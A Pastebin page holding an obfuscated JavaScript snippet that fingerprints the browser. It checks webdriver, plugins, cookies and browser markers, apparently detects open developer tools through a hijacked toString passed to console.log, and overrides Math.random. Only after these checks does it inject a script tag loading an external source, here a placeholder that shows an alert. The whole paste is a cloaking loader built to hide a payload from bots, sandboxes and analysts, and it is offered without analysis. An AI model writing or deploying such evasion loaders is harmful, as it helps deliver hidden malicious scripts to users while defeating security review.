Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- window.globalScriptSrc = "data:text/javascript,alert('work, yes')";
- +function() {
- var st = '',
- ext = {}, // window
- wNum = '__',
- mParam = '|',
- fSize = 2,
- element; // RegExp
- function defineFlag(arg, code, desc, stParam) {
- var temp = typeof(stParam),
- pass = arg[fSize],
- arr = [
- pass + arg[code - 1] + obj.key[code + fSize],
- pass + arg[code],
- obj.list[+st]
- ];
- obj.list[code - 1] += mParam + temp.slice(obj.max) + desc;
- var flags = arr.map(function(el) {
- return prop[el];
- }),
- sourse = listItems('"', fSize),
- extra = [flags[+st], flags[fSize - 1]].join(flags[code - 1]);
- return extra.match(sourse);
- }
- var obj = {
- ect: ' ',
- csp: 1,
- max: 7,
- post: ['Assembly', 'Pixel', 'Points'],
- form: 'Enabled',
- user: 'persistent',
- Name: 'Agent',
- color: 'osc',
- Ratio: 5,
- side: 'Depth',
- Message: ['devi', 'scre', 'okie', 'plug', 'secu'],
- scr: 'random',
- crypto: 'doc'
- }
- var propTxt = 'rab gube ppa edo nois dob ivan',
- prop = checkProps(propTxt, 'gato', 2), // window.navigator
- filter, idParam, devType; // window.document, document.body, navigator.plugins
- function listItems(arg, mark, cond) {
- var zInd = obj.csp + 1;
- if (mark && typeof mark === 'number') {
- if (mark === 1) return new element(arg)
- else {
- var sTem = 'g';
- mark === zInd ? '' : mark === 3 ? sTem += 'i' : sTem = 'i';
- return new element(arg, sTem);
- }
- } else {
- var tmp = checkEmpty(arg, ' '),
- sNum = obj.max + 1;
- var newArr = tmp.map(function(el, num) {
- num === tmp.length - 1 ? el = 'W' + el
- : el += arr[num];
- return el;
- })
- var type = ext[newArr[sNum] + obj.post[+st]] &&
- prop[obj.color + 'pu'];
- obj.key[zInd] += cond.buffer + obj.post[zInd];
- obj.list = newArr.slice(zInd).map(function(item, idn) {
- idn === +st ? item += obj.form : idn === zInd - 1 ?
- item += mParam : idn === zInd + 1 ? item += 'nt' :
- idn === obj.Ratio ? item += 'x' : idn === obj.Ratio + 1 ?
- item += 'GLFr' + obj.key[sNum - zInd].slice(zInd - 1) +
- Object.keys(cond)[+st] : '';
- return item;
- })
- obj.row = prop[mark + obj.key[zInd * 2]];
- obj.Name = prop[obj.key[obj.Ratio] + obj.Name];
- return !ext[newArr[+st]] || type ||
- prop[newArr[zInd - 1] + obj.form];
- }
- }
- var startMes = checkEmpty(obj.Message, obj.user.slice(obj.max),
- ['ce', 'en', 'co', 'ins', 'rity']);
- var itemCount = filter[obj.Message[obj.Ratio - 1]], // document.security
- trackParam = ext[obj.add[obj.max - obj.Ratio]], // window.sidebar
- arr = ['mp', 'sm', 'va', 'ari', 'ur', 'de', 'ome', 'efo'];
- function checkState(state, descr) {
- var hParam = obj.Ratio - 1,
- args = descr.map(function(arg) {
- return state.match(listItems(arg, hParam))
- }),
- prevSt = args[+st] && lastCond,
- curSt = args[fSize - 1] && ctrlLog && startMes && checkType(),
- nextSt = args[fSize] && listed;
- obj.Num = ext[obj.list[hParam + fSize]];
- return prevSt || curSt || nextSt;
- }
- var ctrlLog = ext[obj.user.toUpperCase()], // window.PERSISTENT
- lastCond = ext[obj.key[+st]] || trackParam,
- listed = ext[obj.side.substr(+st, obj.csp + 1) + 'bug'];
- function checkEmpty(arg, sep, arr) {
- var lgt = obj.post.length,
- idn = +st + 1;
- if (arguments && arguments.length === lgt) {
- var res = [
- ext[obj.key[lgt] + obj.add[lgt]],
- ]
- obj.Message = arg.map(function(mes, flag) {
- flag === lgt - 1 ? mes = arr[flag] + mes
- : mes += arr[flag];
- return mes;
- });
- var rParam = obj.Message;
- rParam[+st] += obj.post[idn] + obj.add[idn];
- rParam[lgt - 1] += obj.form;
- res.push(
- ext[rParam[+st]],
- ext[rParam[1]][obj.add[+st]+ obj.side],
- prop[rParam[lgt - 1]],
- prop[rParam[lgt]]
- );
- devType = res[res.length - idn];
- obj.crypto += 'um' + sep;
- filter = ext[obj.crypto];
- var result = res.reduce(function(cur, next) {
- return cur && next
- }, res[+st]);
- idParam = filter[propTxt[obj.Ratio]];
- return result;
- } else {
- return arg.split(sep);
- }
- }
- var nextItem = listItems('du wa ja saf bl tri chr fir eb', 'plat', {buffer: 'Touch'}),
- openCond = typeof(ext[obj.add[obj.Ratio]]) === 'function',
- flag = defineFlag(propTxt, 4, 'ge');
- // main detect
- function crop(items) {
- if (items && items.length >= obj.Ratio) {
- var cropped = items.reduce(function(item, next) {
- return item.map(function(el) {
- return el + next;
- })
- }, items[fSize]);
- return cropped;
- }
- if (changedParam) {
- if (stateParam) {
- console.log(minParam);
- if (itemNum > 0 && obj.Num) {
- checkId();
- }
- }
- }
- }
- var lock = st || Node,
- second = lock[wNum + obj.key[1]],
- mom = new Date/1e13;
- ~function(current, base) {
- var num = +st;
- if (mom && Array.isArray(mom)) {
- var sum = mom.reduce(function(el, next) {
- return el + next;
- })
- current += sum;
- }
- Math[base] = function() {
- return mom;
- };
- current && current.forEach(function(el) {
- lock.prototype[el[num]] = el[num + 1]
- });
- } (second, obj.scr);
- var checkType = function(){ return !st.match.call(devType[+st].name, 'um') };
- var itemNum = itemCount?4:trackParam?1:2,
- isOpen = openCond || flag,
- minParam = listItems('g', 1);
- checkId = function() {
- obj.add[obj.Ratio - 1] += 'ipt';
- var temp = filter.createElement(obj.add[obj.Ratio - 1]),
- select = idParam.appendChild(temp);
- return select.src = ext.globalScriptSrc;
- };
- try{ var textParam = ext[obj.list[fSize]] + st }catch(e){ var textParam=false };
- minParam.toString = function() { --itemNum; return st };
- var changedParam = changeParams('in', mParam, 'ma'); // 1 if
- var stateParam = checkState(obj.Name, obj.prop); // 2 if
- function checkProps(arg, param, id, filter) {
- var res,
- fnr = +st;
- if (filter && typeof filter === 'object') {
- res = arg.forEach(function(item) {
- for (var key in filter) {
- item + filter[key] === param
- ? (item.add = key, item = filter[key])
- : ''
- }
- return item;
- })
- } else {
- var buf = checkEmpty(arg, obj.ect);
- ext = window;
- propTxt = buf.map(function(el, index) {
- var len = el.length,
- sum = st;
- element = RegExp;
- for (var i = 1; i <= len; i++) {
- sum += el.substr(len - i, 1);
- }
- var item = sum;
- index === obj.csp ? item = 'D' + item :
- index === id + 1 ? item = 'C' + item : index === obj.Ratio - 1 ?
- item = 'Ver' + item : index === obj.Ratio ? item += 'y'
- : index === obj.max - 1 ? item += param + 'r' : item += st;
- return item;
- })
- var temp = Object.keys(obj).map(function(el, ind) {
- ind === fnr ? el = 'R' + el : ind === fnr + 1
- ? el += 'r' + wNum : ind === obj.max + 2 ?
- el += propTxt[fnr] : '';
- return el;
- })
- obj.key = temp.splice(fnr, obj.max);
- obj.add = temp;
- res = ext[propTxt[obj.max - 1]];
- }
- return res;
- }
- crop();
- function changeParams() {
- var arg = 'w',
- list = obj.list,
- num = obj.Ratio;
- if (arguments && arguments.length === fSize + 1) {
- for (var i = 0; i < arguments.length; i++) {
- arg += arguments[i]
- }
- }
- var params = [
- obj.row.match(listItems(arg + 'c', fSize + 1)),
- !prop[obj.key[fSize]], !isOpen,
- textParam, nextItem
- ]
- var changed = params.reduce(function(prev, cur) {
- return prev && cur
- }, params[0]);
- obj.prop = [list[fSize - 1] + list[num], list[num - 1], list[fSize + 1]];
- return changed;
- }
- }();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement